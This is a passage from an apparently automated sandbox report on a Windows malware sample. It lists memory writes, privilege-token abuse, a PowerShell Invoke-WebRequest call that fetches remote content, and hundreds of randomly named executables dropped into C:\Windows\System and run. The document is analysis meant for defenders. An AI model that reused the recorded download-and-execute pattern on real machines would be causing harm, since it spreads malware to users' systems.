PID 1712 wrote to memory of 2040	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	47
PID 1712 wrote to memory of 2020	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	48
PID 1712 wrote to memory of 2020	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	48
PID 1712 wrote to memory of 2020	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	48
PID 1712 wrote to memory of 2192	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	49
PID 1712 wrote to memory of 2192	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	49
PID 1712 wrote to memory of 2192	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	49
PID 1712 wrote to memory of 2108	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	50

C:\Users\Admin\AppData\Local\Temp\1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2492
- C:\Windows\System\lmyUjgW.exe
  C:\Windows\System\lmyUjgW.exe
  2⤵
  - Executes dropped EXE
  PID:3008
- C:\Windows\System\IorBbGh.exe
  C:\Windows\System\IorBbGh.exe
  2⤵
  - Executes dropped EXE
  PID:2632
- C:\Windows\System\QYdyEqW.exe
  C:\Windows\System\QYdyEqW.exe
  2⤵
  - Executes dropped EXE
  PID:2800
- C:\Windows\System\XTiIlDd.exe
  C:\Windows\System\XTiIlDd.exe
  2⤵
  - Executes dropped EXE
  PID:3028
- C:\Windows\System\Gixmlou.exe
  C:\Windows\System\Gixmlou.exe
  2⤵
  - Executes dropped EXE
  PID:2420
- C:\Windows\System\PMIJqYX.exe
  C:\Windows\System\PMIJqYX.exe
  2⤵
  - Executes dropped EXE
  PID:2472
- C:\Windows\System\uPydBsX.exe
  C:\Windows\System\uPydBsX.exe
  2⤵
  - Executes dropped EXE
  PID:2456
- C:\Windows\System\hBuVYCG.exe
  C:\Windows\System\hBuVYCG.exe
  2⤵
  - Executes dropped EXE
  PID:1488
- C:\Windows\System\rBuzctL.exe
  C:\Windows\System\rBuzctL.exe
  2⤵
  - Executes dropped EXE
  PID:2748
- C:\Windows\System\yzgqFrq.exe
  C:\Windows\System\yzgqFrq.exe
  2⤵
  - Executes dropped EXE
  PID:2784
- C:\Windows\System\JVttBqK.exe
  C:\Windows\System\JVttBqK.exe
  2⤵
  - Executes dropped EXE
  PID:2900
- C:\Windows\System\DcnlVDp.exe
  C:\Windows\System\DcnlVDp.exe
  2⤵
  - Executes dropped EXE
  PID:2928
- C:\Windows\System\gRvoCpM.exe
  C:\Windows\System\gRvoCpM.exe
  2⤵
  - Executes dropped EXE
  PID:2584
- C:\Windows\System\CQcnRcQ.exe
  C:\Windows\System\CQcnRcQ.exe
  2⤵
  - Executes dropped EXE
  PID:1192
- C:\Windows\System\kRzPDrN.exe
  C:\Windows\System\kRzPDrN.exe
  2⤵
  - Executes dropped EXE
  PID:836
- C:\Windows\System\zVjMWYg.exe
  C:\Windows\System\zVjMWYg.exe
  2⤵
  - Executes dropped EXE
  PID:2732
- C:\Windows\System\zeAYVNT.exe
  C:\Windows\System\zeAYVNT.exe
  2⤵
  - Executes dropped EXE
  PID:320
- C:\Windows\System\avZEMOn.exe
  C:\Windows\System\avZEMOn.exe
  2⤵
  - Executes dropped EXE
  PID:2040
- C:\Windows\System\IglfUbG.exe
  C:\Windows\System\IglfUbG.exe
  2⤵
  - Executes dropped EXE
  PID:2020
- C:\Windows\System\xEalwxm.exe
  C:\Windows\System\xEalwxm.exe
  2⤵
  - Executes dropped EXE
  PID:2192
- C:\Windows\System\GmfUDsR.exe
  C:\Windows\System\GmfUDsR.exe
  2⤵
  - Executes dropped EXE
  PID:2108
- C:\Windows\System\cccEobe.exe
  C:\Windows\System\cccEobe.exe
  2⤵
  - Executes dropped EXE
  PID:1940
- C:\Windows\System\ZcWaeYC.exe
  C:\Windows\System\ZcWaeYC.exe
  2⤵
  - Executes dropped EXE
  PID:1968
- C:\Windows\System\MdbeVoe.exe
  C:\Windows\System\MdbeVoe.exe
  2⤵
  PID:2064
- C:\Windows\System\lQzBPnN.exe
  C:\Windows\System\lQzBPnN.exe
  2⤵
  - Executes dropped EXE
  PID:540
- C:\Windows\System\gKERfUt.exe
  C:\Windows\System\gKERfUt.exe
  2⤵
  PID:780
- C:\Windows\System\tnnhFgC.exe
  C:\Windows\System\tnnhFgC.exe
  2⤵
  - Executes dropped EXE
  PID:1404
- C:\Windows\System\cfKbNfY.exe
  C:\Windows\System\cfKbNfY.exe
  2⤵
  PID:1572
- C:\Windows\System\xQFzUwc.exe
  C:\Windows\System\xQFzUwc.exe
  2⤵
  - Executes dropped EXE
  PID:580
- C:\Windows\System\YsKEMOU.exe
  C:\Windows\System\YsKEMOU.exe
  2⤵
  PID:2960
- C:\Windows\System\kCBWxVB.exe
  C:\Windows\System\kCBWxVB.exe
  2⤵
  - Executes dropped EXE
  PID:2268
- C:\Windows\System\LTLDbIt.exe
  C:\Windows\System\LTLDbIt.exe
  2⤵
  PID:616
- C:\Windows\System\ydXWjBW.exe
  C:\Windows\System\ydXWjBW.exe
  2⤵
  - Executes dropped EXE
  PID:1456
- C:\Windows\System\IIxOshx.exe
  C:\Windows\System\IIxOshx.exe
  2⤵
  PID:2240
- C:\Windows\System\ttKruhs.exe
  C:\Windows\System\ttKruhs.exe
  2⤵
  - Executes dropped EXE
  PID:2360
- C:\Windows\System\wypFikc.exe
  C:\Windows\System\wypFikc.exe
  2⤵
  PID:3024
- C:\Windows\System\uZkYxdv.exe
  C:\Windows\System\uZkYxdv.exe
  2⤵
  - Executes dropped EXE
  PID:3040
- C:\Windows\System\hjrCJKf.exe
  C:\Windows\System\hjrCJKf.exe
  2⤵
  PID:1480
- C:\Windows\System\ZcsMyjL.exe
  C:\Windows\System\ZcsMyjL.exe
  2⤵
  - Executes dropped EXE
  PID:1972
- C:\Windows\System\zPZwiGo.exe
  C:\Windows\System\zPZwiGo.exe
  2⤵
  PID:1212
- C:\Windows\System\cQrujIb.exe
  C:\Windows\System\cQrujIb.exe
  2⤵
  - Executes dropped EXE
  PID:764
- C:\Windows\System\pdXnfuZ.exe
  C:\Windows\System\pdXnfuZ.exe
  2⤵
  PID:1540
- C:\Windows\System\adwVJYG.exe
  C:\Windows\System\adwVJYG.exe
  2⤵
  - Executes dropped EXE
  PID:768
- C:\Windows\System\MUsfTHf.exe
  C:\Windows\System\MUsfTHf.exe
  2⤵
  PID:240
- C:\Windows\System\nDvtmQV.exe
  C:\Windows\System\nDvtmQV.exe
  2⤵
  - Executes dropped EXE
  PID:108
- C:\Windows\System\chGjClV.exe
  C:\Windows\System\chGjClV.exe
  2⤵
  PID:856
- C:\Windows\System\pPflNNj.exe
  C:\Windows\System\pPflNNj.exe
  2⤵
  - Executes dropped EXE
  PID:648
- C:\Windows\System\bYpvUXQ.exe
  C:\Windows\System\bYpvUXQ.exe
  2⤵
  PID:2340
- C:\Windows\System\oVjSQcF.exe
  C:\Windows\System\oVjSQcF.exe
  2⤵
  - Executes dropped EXE
  PID:2792
- C:\Windows\System\dVKGcxH.exe
  C:\Windows\System\dVKGcxH.exe
  2⤵
  PID:2168
- C:\Windows\System\hoxKqfF.exe
  C:\Windows\System\hoxKqfF.exe
  2⤵
  - Executes dropped EXE
  PID:2344
- C:\Windows\System\XakvCpI.exe
  C:\Windows\System\XakvCpI.exe
  2⤵
  PID:2864
- C:\Windows\System\NMcrJqm.exe
  C:\Windows\System\NMcrJqm.exe
  2⤵
  - Executes dropped EXE
  PID:1560
- C:\Windows\System\SzAmqnx.exe
  C:\Windows\System\SzAmqnx.exe
  2⤵
  PID:1900
- C:\Windows\System\YOSYzXp.exe
  C:\Windows\System\YOSYzXp.exe
  2⤵
  - Executes dropped EXE
  PID:1516
- C:\Windows\System\dhsNypQ.exe
  C:\Windows\System\dhsNypQ.exe
  2⤵
  PID:884
- C:\Windows\System\BncBffa.exe
  C:\Windows\System\BncBffa.exe
  2⤵
  - Executes dropped EXE
  PID:1428
- C:\Windows\System\luHvrkK.exe
  C:\Windows\System\luHvrkK.exe
  2⤵
  PID:2088
- C:\Windows\System\sFAHurc.exe
  C:\Windows\System\sFAHurc.exe
  2⤵
  - Executes dropped EXE
  PID:1452
- C:\Windows\System\knfhZZU.exe
  C:\Windows\System\knfhZZU.exe
  2⤵
  PID:2872
- C:\Windows\System\zwzNKPp.exe
  C:\Windows\System\zwzNKPp.exe
  2⤵
  - Executes dropped EXE
  PID:2780
- C:\Windows\System\HnKKGwk.exe
  C:\Windows\System\HnKKGwk.exe
  2⤵
  PID:1528
- C:\Windows\System\BIjFbsd.exe
  C:\Windows\System\BIjFbsd.exe
  2⤵
  - Executes dropped EXE
  PID:2508
- C:\Windows\System\hpAsPBU.exe
  C:\Windows\System\hpAsPBU.exe
  2⤵
  PID:2652
- C:\Windows\System\NgAVmWM.exe
  C:\Windows\System\NgAVmWM.exe
  2⤵
  - Executes dropped EXE
  PID:2432
- C:\Windows\System\PlqacZx.exe
  C:\Windows\System\PlqacZx.exe
  2⤵
  PID:2600
- C:\Windows\System\jbRDeCX.exe
  C:\Windows\System\jbRDeCX.exe
  2⤵
  - Executes dropped EXE
  PID:2620
- C:\Windows\System\mYMXbhm.exe
  C:\Windows\System\mYMXbhm.exe
  2⤵
  PID:2664
- C:\Windows\System\djLWets.exe
  C:\Windows\System\djLWets.exe
  2⤵
  - Executes dropped EXE
  PID:2592
- C:\Windows\System\NqlcHVO.exe
  C:\Windows\System\NqlcHVO.exe
  2⤵
  PID:2424
- C:\Windows\System\AfyQKtQ.exe
  C:\Windows\System\AfyQKtQ.exe
  2⤵
  - Executes dropped EXE
  PID:2440
- C:\Windows\System\HUPHKVA.exe
  C:\Windows\System\HUPHKVA.exe
  2⤵
  PID:2464
- C:\Windows\System\oZAEXDK.exe
  C:\Windows\System\oZAEXDK.exe
  2⤵
  - Executes dropped EXE
  PID:2052
- C:\Windows\System\AtxbJYg.exe
  C:\Windows\System\AtxbJYg.exe
  2⤵
  PID:2772
- C:\Windows\System\DxdDWuN.exe
  C:\Windows\System\DxdDWuN.exe
  2⤵
  - Executes dropped EXE
  PID:2896
- C:\Windows\System\mvBmLXG.exe
  C:\Windows\System\mvBmLXG.exe
  2⤵
  PID:2372
- C:\Windows\System\NGNxkcb.exe
  C:\Windows\System\NGNxkcb.exe
  2⤵
  - Executes dropped EXE
  PID:1104
- C:\Windows\System\oXUpFQE.exe
  C:\Windows\System\oXUpFQE.exe
  2⤵
  PID:2952
- C:\Windows\System\dkJEWiZ.exe
  C:\Windows\System\dkJEWiZ.exe
  2⤵
  - Executes dropped EXE
  PID:1416
- C:\Windows\System\jELpxFZ.exe
  C:\Windows\System\jELpxFZ.exe
  2⤵
  PID:2744
- C:\Windows\System\dqLnpBg.exe
  C:\Windows\System\dqLnpBg.exe
  2⤵
  - Executes dropped EXE
  PID:1952
- C:\Windows\System\OafosTY.exe
  C:\Windows\System\OafosTY.exe
  2⤵
  PID:1956
- C:\Windows\System\tPppAPu.exe
  C:\Windows\System\tPppAPu.exe
  2⤵
  - Executes dropped EXE
  PID:2220
- C:\Windows\System\hjfJuDP.exe
  C:\Windows\System\hjfJuDP.exe
  2⤵
  PID:1936
- C:\Windows\System\FHkOyvb.exe
  C:\Windows\System\FHkOyvb.exe
  2⤵
  - Executes dropped EXE
  PID:1904
- C:\Windows\System\kgNOqSI.exe
  C:\Windows\System\kgNOqSI.exe
  2⤵
  PID:992
- C:\Windows\System\qOfwAcv.exe
  C:\Windows\System\qOfwAcv.exe
  2⤵
  - Executes dropped EXE
  PID:2368
- C:\Windows\System\mWnWuex.exe
  C:\Windows\System\mWnWuex.exe
  2⤵
  PID:3032
- C:\Windows\System\dOLVPnw.exe
  C:\Windows\System\dOLVPnw.exe
  2⤵
  - Executes dropped EXE
  PID:1692
- C:\Windows\System\EOwWPoi.exe
  C:\Windows\System\EOwWPoi.exe
  2⤵
  PID:2972
- C:\Windows\System\RNfcGDr.exe
  C:\Windows\System\RNfcGDr.exe
  2⤵
  - Executes dropped EXE
  PID:2100
- C:\Windows\System\GchfpJi.exe
  C:\Windows\System\GchfpJi.exe
  2⤵
  PID:284
- C:\Windows\System\snWuVaI.exe
  C:\Windows\System\snWuVaI.exe
  2⤵
  - Executes dropped EXE
  PID:2212
- C:\Windows\System\KVUFqhc.exe
  C:\Windows\System\KVUFqhc.exe
  2⤵
  PID:2976
- C:\Windows\System\vTIhsxY.exe
  C:\Windows\System\vTIhsxY.exe
  2⤵
  - Executes dropped EXE
  PID:2556
- C:\Windows\System\SXJiEai.exe
  C:\Windows\System\SXJiEai.exe
  2⤵
  PID:1032
- C:\Windows\System\REUlZcg.exe
  C:\Windows\System\REUlZcg.exe
  2⤵
  - Executes dropped EXE
  PID:2448
- C:\Windows\System\mXYXGye.exe
  C:\Windows\System\mXYXGye.exe
  2⤵
  PID:2496
- C:\Windows\System\rCFkBDK.exe
  C:\Windows\System\rCFkBDK.exe
  2⤵
  - Executes dropped EXE
  PID:3088
- C:\Windows\System\aSHLQjN.exe
  C:\Windows\System\aSHLQjN.exe
  2⤵
  PID:3104
- C:\Windows\System\rJAGUuU.exe
  C:\Windows\System\rJAGUuU.exe
  2⤵
  - Executes dropped EXE
  PID:3120
- C:\Windows\System\mZzgeFH.exe
  C:\Windows\System\mZzgeFH.exe
  2⤵
  PID:3136
- C:\Windows\System\seBMYUa.exe
  C:\Windows\System\seBMYUa.exe
  2⤵
  - Executes dropped EXE
  PID:3152
- C:\Windows\System\JEuKRPK.exe
  C:\Windows\System\JEuKRPK.exe
  2⤵
  PID:3168
- C:\Windows\System\WKeboBA.exe
  C:\Windows\System\WKeboBA.exe
  2⤵
  - Executes dropped EXE
  PID:3184
- C:\Windows\System\FuFKeLC.exe
  C:\Windows\System\FuFKeLC.exe
  2⤵
  PID:3200
- C:\Windows\System\mUWKhAP.exe
  C:\Windows\System\mUWKhAP.exe
  2⤵
  PID:3216
- C:\Windows\System\AdrtGKq.exe
  C:\Windows\System\AdrtGKq.exe
  2⤵
  PID:3232
- C:\Windows\System\MVhOFtt.exe
  C:\Windows\System\MVhOFtt.exe
  2⤵
  PID:3248
- C:\Windows\System\GiDKcIi.exe
  C:\Windows\System\GiDKcIi.exe
  2⤵
  PID:3264
- C:\Windows\System\grkRQRf.exe
  C:\Windows\System\grkRQRf.exe
  2⤵
  PID:3280
- C:\Windows\System\oFDbtcQ.exe
  C:\Windows\System\oFDbtcQ.exe
  2⤵
  PID:3296
- C:\Windows\System\tJELbFu.exe
  C:\Windows\System\tJELbFu.exe
  2⤵
  PID:3312
- C:\Windows\System\MesqNol.exe
  C:\Windows\System\MesqNol.exe
  2⤵
  PID:3328
- C:\Windows\System\yFpYeKS.exe
  C:\Windows\System\yFpYeKS.exe
  2⤵
  PID:3344
- C:\Windows\System\teTCfwG.exe
  C:\Windows\System\teTCfwG.exe
  2⤵
  PID:3360
- C:\Windows\System\JQWbelL.exe
  C:\Windows\System\JQWbelL.exe
  2⤵
  PID:3376
- C:\Windows\System\OfwuUzv.exe
  C:\Windows\System\OfwuUzv.exe
  2⤵
  PID:3392
- C:\Windows\System\CfNTHDo.exe
  C:\Windows\System\CfNTHDo.exe
  2⤵
  PID:3408
- C:\Windows\System\sAxekpz.exe
  C:\Windows\System\sAxekpz.exe
  2⤵
  PID:3424
- C:\Windows\System\aXUuKff.exe
  C:\Windows\System\aXUuKff.exe
  2⤵
  PID:3440
- C:\Windows\System\fVBlGQZ.exe
  C:\Windows\System\fVBlGQZ.exe
  2⤵
  PID:3456
- C:\Windows\System\GvafGtQ.exe
  C:\Windows\System\GvafGtQ.exe
  2⤵
  PID:3472
- C:\Windows\System\HnLyuzb.exe
  C:\Windows\System\HnLyuzb.exe
  2⤵
  PID:3488
- C:\Windows\System\CMMYlLm.exe
  C:\Windows\System\CMMYlLm.exe
  2⤵
  PID:3504
- C:\Windows\System\ViUpyGx.exe
  C:\Windows\System\ViUpyGx.exe
  2⤵
  PID:3520
- C:\Windows\System\zRkLNuN.exe
  C:\Windows\System\zRkLNuN.exe
  2⤵
  PID:3536
- C:\Windows\System\esgVPfE.exe
  C:\Windows\System\esgVPfE.exe
  2⤵
  PID:3552
- C:\Windows\System\yDsfQvi.exe
  C:\Windows\System\yDsfQvi.exe
  2⤵
  PID:3568
- C:\Windows\System\BpVqyEj.exe
  C:\Windows\System\BpVqyEj.exe
  2⤵
  PID:3584
- C:\Windows\System\whoveCt.exe
  C:\Windows\System\whoveCt.exe
  2⤵
  PID:3600
- C:\Windows\System\OVxAZey.exe
  C:\Windows\System\OVxAZey.exe
  2⤵
  PID:3616
- C:\Windows\System\naVCbfP.exe
  C:\Windows\System\naVCbfP.exe
  2⤵
  PID:3632
- C:\Windows\System\lJUVYNZ.exe
  C:\Windows\System\lJUVYNZ.exe
  2⤵
  PID:3648
- C:\Windows\System\TEsENFN.exe
  C:\Windows\System\TEsENFN.exe
  2⤵
  PID:3664
- C:\Windows\System\kyBZNxr.exe
  C:\Windows\System\kyBZNxr.exe
  2⤵
  PID:3680
- C:\Windows\System\mFEulYt.exe
  C:\Windows\System\mFEulYt.exe
  2⤵
  PID:3696
- C:\Windows\System\KEVrjlx.exe
  C:\Windows\System\KEVrjlx.exe
  2⤵
  PID:3712
- C:\Windows\System\cYBdMGh.exe
  C:\Windows\System\cYBdMGh.exe
  2⤵
  PID:3728
- C:\Windows\System\uDsEIBn.exe
  C:\Windows\System\uDsEIBn.exe
  2⤵
  PID:3744
- C:\Windows\System\WljRUgT.exe
  C:\Windows\System\WljRUgT.exe
  2⤵
  PID:3760
- C:\Windows\System\vSCBRyL.exe
  C:\Windows\System\vSCBRyL.exe
  2⤵
  PID:3776
- C:\Windows\System\LkVCzXJ.exe
  C:\Windows\System\LkVCzXJ.exe
  2⤵
  PID:3792
- C:\Windows\System\eZjrBeo.exe
  C:\Windows\System\eZjrBeo.exe
  2⤵
  PID:3808
- C:\Windows\System\RaMrkcY.exe
  C:\Windows\System\RaMrkcY.exe
  2⤵
  PID:3824
- C:\Windows\System\UQxriEg.exe
  C:\Windows\System\UQxriEg.exe
  2⤵
  PID:3840
- C:\Windows\System\xFlaUgY.exe
  C:\Windows\System\xFlaUgY.exe
  2⤵
  PID:3856
- C:\Windows\System\JcGCesB.exe
  C:\Windows\System\JcGCesB.exe
  2⤵
  PID:3872
- C:\Windows\System\DTkTOlf.exe
  C:\Windows\System\DTkTOlf.exe
  2⤵
  PID:3888
- C:\Windows\System\SwtyTIf.exe
  C:\Windows\System\SwtyTIf.exe
  2⤵
  PID:3904
- C:\Windows\System\RdrMKbw.exe
  C:\Windows\System\RdrMKbw.exe
  2⤵
  PID:3920
- C:\Windows\System\cKQjcYa.exe
  C:\Windows\System\cKQjcYa.exe
  2⤵
  PID:3936
- C:\Windows\System\CIJTnGD.exe
  C:\Windows\System\CIJTnGD.exe
  2⤵
  PID:3952
- C:\Windows\System\YJYiRsx.exe
  C:\Windows\System\YJYiRsx.exe
  2⤵
  PID:3968
- C:\Windows\System\QDXiwST.exe
  C:\Windows\System\QDXiwST.exe
  2⤵
  PID:3984
- C:\Windows\System\iDqQgWj.exe
  C:\Windows\System\iDqQgWj.exe
  2⤵
  PID:4000
- C:\Windows\System\ZUvyoIv.exe
  C:\Windows\System\ZUvyoIv.exe
  2⤵
  PID:4016
- C:\Windows\System\MGvBQiX.exe
  C:\Windows\System\MGvBQiX.exe
  2⤵
  PID:4032
- C:\Windows\System\vcMCXoD.exe
  C:\Windows\System\vcMCXoD.exe
  2⤵
  PID:4048
- C:\Windows\System\FUzhuhW.exe
  C:\Windows\System\FUzhuhW.exe
  2⤵
  PID:4064
- C:\Windows\System\hHHGHWy.exe
  C:\Windows\System\hHHGHWy.exe
  2⤵
  PID:4080
- C:\Windows\System\DIHncrg.exe
  C:\Windows\System\DIHncrg.exe
  2⤵
  PID:2892
- C:\Windows\System\pFVoRie.exe
  C:\Windows\System\pFVoRie.exe
  2⤵
  PID:840
- C:\Windows\System\QkOuFGV.exe
  C:\Windows\System\QkOuFGV.exe
  2⤵
  PID:488
- C:\Windows\System\GzgfYcC.exe
  C:\Windows\System\GzgfYcC.exe
  2⤵
  PID:1288
- C:\Windows\System\MAtMGiy.exe
  C:\Windows\System\MAtMGiy.exe
  2⤵
  PID:1980
- C:\Windows\System\nFohxjh.exe
  C:\Windows\System\nFohxjh.exe
  2⤵
  PID:2764
- C:\Windows\System\KfLzxuC.exe
  C:\Windows\System\KfLzxuC.exe
  2⤵
  PID:3128
- C:\Windows\System\ocjqzJZ.exe
  C:\Windows\System\ocjqzJZ.exe
  2⤵
  PID:3192
- C:\Windows\System\glUwaYp.exe
  C:\Windows\System\glUwaYp.exe
  2⤵
  PID:3256
- C:\Windows\System\RzAydgH.exe
  C:\Windows\System\RzAydgH.exe
  2⤵
  PID:3320
- C:\Windows\System\NYUUhfu.exe
  C:\Windows\System\NYUUhfu.exe
  2⤵
  PID:3384
- C:\Windows\System\pCbKJoe.exe
  C:\Windows\System\pCbKJoe.exe
  2⤵
  PID:3448
- C:\Windows\System\abSvmiv.exe
  C:\Windows\System\abSvmiv.exe
  2⤵
  PID:3512
- C:\Windows\System\RsbuJsk.exe
  C:\Windows\System\RsbuJsk.exe
  2⤵
  PID:3576
- C:\Windows\System\AqOREyu.exe
  C:\Windows\System\AqOREyu.exe
  2⤵
  PID:3640
- C:\Windows\System\bFATiRn.exe
  C:\Windows\System\bFATiRn.exe
  2⤵
  PID:3704
- C:\Windows\System\ehqtDsN.exe
  C:\Windows\System\ehqtDsN.exe
  2⤵
  PID:3768
- C:\Windows\System\aDmVXht.exe
  C:\Windows\System\aDmVXht.exe
  2⤵
  PID:3832
- C:\Windows\System\kvlFbmM.exe
  C:\Windows\System\kvlFbmM.exe
  2⤵
  PID:3896
- C:\Windows\System\VwxydIS.exe
  C:\Windows\System\VwxydIS.exe
  2⤵
  PID:3960
- C:\Windows\System\GrDYBKq.exe
  C:\Windows\System\GrDYBKq.exe
  2⤵
  PID:4024
- C:\Windows\System\JkWLlYf.exe
  C:\Windows\System\JkWLlYf.exe
  2⤵
  PID:4088
- C:\Windows\System\RtBiPBJ.exe
  C:\Windows\System\RtBiPBJ.exe
  2⤵
  PID:2184
- C:\Windows\System\gwPQrhA.exe
  C:\Windows\System\gwPQrhA.exe
  2⤵
  PID:3224
- C:\Windows\System\AnkEaUD.exe
  C:\Windows\System\AnkEaUD.exe
  2⤵
  PID:1200
- C:\Windows\System\ngwjnRW.exe
  C:\Windows\System\ngwjnRW.exe
  2⤵
  PID:2932
- C:\Windows\System\XXaEnne.exe
  C:\Windows\System\XXaEnne.exe
  2⤵
  PID:4112
- C:\Windows\System\zPpnYkJ.exe
  C:\Windows\System\zPpnYkJ.exe
  2⤵
  PID:4128
- C:\Windows\System\YuBpZiT.exe
  C:\Windows\System\YuBpZiT.exe
  2⤵
  PID:4144
- C:\Windows\System\azMazDo.exe
  C:\Windows\System\azMazDo.exe
  2⤵
  PID:4160
- C:\Windows\System\mZsmHaz.exe
  C:\Windows\System\mZsmHaz.exe
  2⤵
  PID:4176
- C:\Windows\System\lLafdHc.exe
  C:\Windows\System\lLafdHc.exe
  2⤵
  PID:4192
- C:\Windows\System\OYMWxYD.exe
  C:\Windows\System\OYMWxYD.exe
  2⤵
  PID:4208
- C:\Windows\System\ttbbmcu.exe
  C:\Windows\System\ttbbmcu.exe
  2⤵
  PID:4224
- C:\Windows\System\EbjSxen.exe
  C:\Windows\System\EbjSxen.exe
  2⤵
  PID:4240
- C:\Windows\System\BwoROth.exe
  C:\Windows\System\BwoROth.exe
  2⤵
  PID:4256
- C:\Windows\System\RktUfQt.exe
  C:\Windows\System\RktUfQt.exe
  2⤵
  PID:4272
- C:\Windows\System\QeYeoEK.exe
  C:\Windows\System\QeYeoEK.exe
  2⤵
  PID:4288
- C:\Windows\System\xPaCRGA.exe
  C:\Windows\System\xPaCRGA.exe
  2⤵
  PID:4304
- C:\Windows\System\ZZyWiPY.exe
  C:\Windows\System\ZZyWiPY.exe
  2⤵
  PID:4320
- C:\Windows\System\fjFAleP.exe
  C:\Windows\System\fjFAleP.exe
  2⤵
  PID:4336
- C:\Windows\System\Ydxboqg.exe
  C:\Windows\System\Ydxboqg.exe
  2⤵
  PID:4352
- C:\Windows\System\sXeABpZ.exe
  C:\Windows\System\sXeABpZ.exe
  2⤵
  PID:4368
- C:\Windows\System\bfJtQQO.exe
  C:\Windows\System\bfJtQQO.exe
  2⤵
  PID:4384
- C:\Windows\System\siWzvcf.exe
  C:\Windows\System\siWzvcf.exe
  2⤵
  PID:4400
- C:\Windows\System\CxXCoPW.exe
  C:\Windows\System\CxXCoPW.exe
  2⤵
  PID:4416
- C:\Windows\System\MBPTKsm.exe
  C:\Windows\System\MBPTKsm.exe
  2⤵
  PID:4432
- C:\Windows\System\hyiaRFt.exe
  C:\Windows\System\hyiaRFt.exe
  2⤵
  PID:4448
- C:\Windows\System\SYPOcSx.exe
  C:\Windows\System\SYPOcSx.exe
  2⤵
  PID:4464
- C:\Windows\System\ptuLeFg.exe
  C:\Windows\System\ptuLeFg.exe
  2⤵
  PID:4480
- C:\Windows\System\mkHFVXu.exe
  C:\Windows\System\mkHFVXu.exe
  2⤵
  PID:4496
- C:\Windows\System\YWcYbBK.exe
  C:\Windows\System\YWcYbBK.exe
  2⤵
  PID:4512
- C:\Windows\System\RAGfIEV.exe
  C:\Windows\System\RAGfIEV.exe
  2⤵
  PID:4528
- C:\Windows\System\MBFNqMV.exe
  C:\Windows\System\MBFNqMV.exe
  2⤵
  PID:4544
- C:\Windows\System\ZAknQrF.exe
  C:\Windows\System\ZAknQrF.exe
  2⤵
  PID:4560
- C:\Windows\System\JzYGWsK.exe
  C:\Windows\System\JzYGWsK.exe
  2⤵
  PID:4576
- C:\Windows\System\zqFmEhV.exe
  C:\Windows\System\zqFmEhV.exe
  2⤵
  PID:4592
- C:\Windows\System\CLQfUqU.exe
  C:\Windows\System\CLQfUqU.exe
  2⤵
  PID:4608
- C:\Windows\System\jpqXyhp.exe
  C:\Windows\System\jpqXyhp.exe
  2⤵
  PID:4624
- C:\Windows\System\GoYowTH.exe
  C:\Windows\System\GoYowTH.exe
  2⤵
  PID:4640
- C:\Windows\System\oMFisaD.exe
  C:\Windows\System\oMFisaD.exe
  2⤵
  PID:4656
- C:\Windows\System\NSPQIib.exe
  C:\Windows\System\NSPQIib.exe
  2⤵
  PID:4672
- C:\Windows\System\OZRMaco.exe
  C:\Windows\System\OZRMaco.exe
  2⤵
  PID:4688
- C:\Windows\System\uiFxbPY.exe
  C:\Windows\System\uiFxbPY.exe
  2⤵
  PID:4704
- C:\Windows\System\oIjnMGZ.exe
  C:\Windows\System\oIjnMGZ.exe
  2⤵
  PID:4720
- C:\Windows\System\RKoUWWz.exe
  C:\Windows\System\RKoUWWz.exe
  2⤵
  PID:4736
- C:\Windows\System\MeTbJDO.exe
  C:\Windows\System\MeTbJDO.exe
  2⤵
  PID:4752
- C:\Windows\System\yBlMhTz.exe
  C:\Windows\System\yBlMhTz.exe
  2⤵
  PID:4768
- C:\Windows\System\sAlVdSx.exe
  C:\Windows\System\sAlVdSx.exe
  2⤵
  PID:4784
- C:\Windows\System\QdusFgo.exe
  C:\Windows\System\QdusFgo.exe
  2⤵
  PID:4800
- C:\Windows\System\hBxwWpZ.exe
  C:\Windows\System\hBxwWpZ.exe
  2⤵
  PID:4816
- C:\Windows\System\wceLajW.exe
  C:\Windows\System\wceLajW.exe
  2⤵
  PID:4832
- C:\Windows\System\vCiuLuj.exe
  C:\Windows\System\vCiuLuj.exe
  2⤵
  PID:4848
- C:\Windows\System\nvblXlh.exe
  C:\Windows\System\nvblXlh.exe
  2⤵
  PID:4864
- C:\Windows\System\TuPsTDp.exe
  C:\Windows\System\TuPsTDp.exe
  2⤵
  PID:4880
- C:\Windows\System\wZNmmqq.exe
  C:\Windows\System\wZNmmqq.exe
  2⤵
  PID:4896
- C:\Windows\System\IJrtWfd.exe
  C:\Windows\System\IJrtWfd.exe
  2⤵
  PID:4912
- C:\Windows\System\HRFJVJo.exe
  C:\Windows\System\HRFJVJo.exe
  2⤵
  PID:4928
- C:\Windows\System\QhcAIFz.exe
  C:\Windows\System\QhcAIFz.exe
  2⤵
  PID:4944
- C:\Windows\System\bqKUrgo.exe
  C:\Windows\System\bqKUrgo.exe
  2⤵
  PID:4960
- C:\Windows\System\vXwEawc.exe
  C:\Windows\System\vXwEawc.exe
  2⤵
  PID:4976
- C:\Windows\System\BwyOtUG.exe
  C:\Windows\System\BwyOtUG.exe
  2⤵
  PID:4992
- C:\Windows\System\McJXqzF.exe
  C:\Windows\System\McJXqzF.exe
  2⤵
  PID:5008
- C:\Windows\System\EmDZwYn.exe
  C:\Windows\System\EmDZwYn.exe
  2⤵
  PID:5024
- C:\Windows\System\MgPIxkE.exe
  C:\Windows\System\MgPIxkE.exe
  2⤵
  PID:5040
- C:\Windows\System\KagmLVW.exe
  C:\Windows\System\KagmLVW.exe
  2⤵
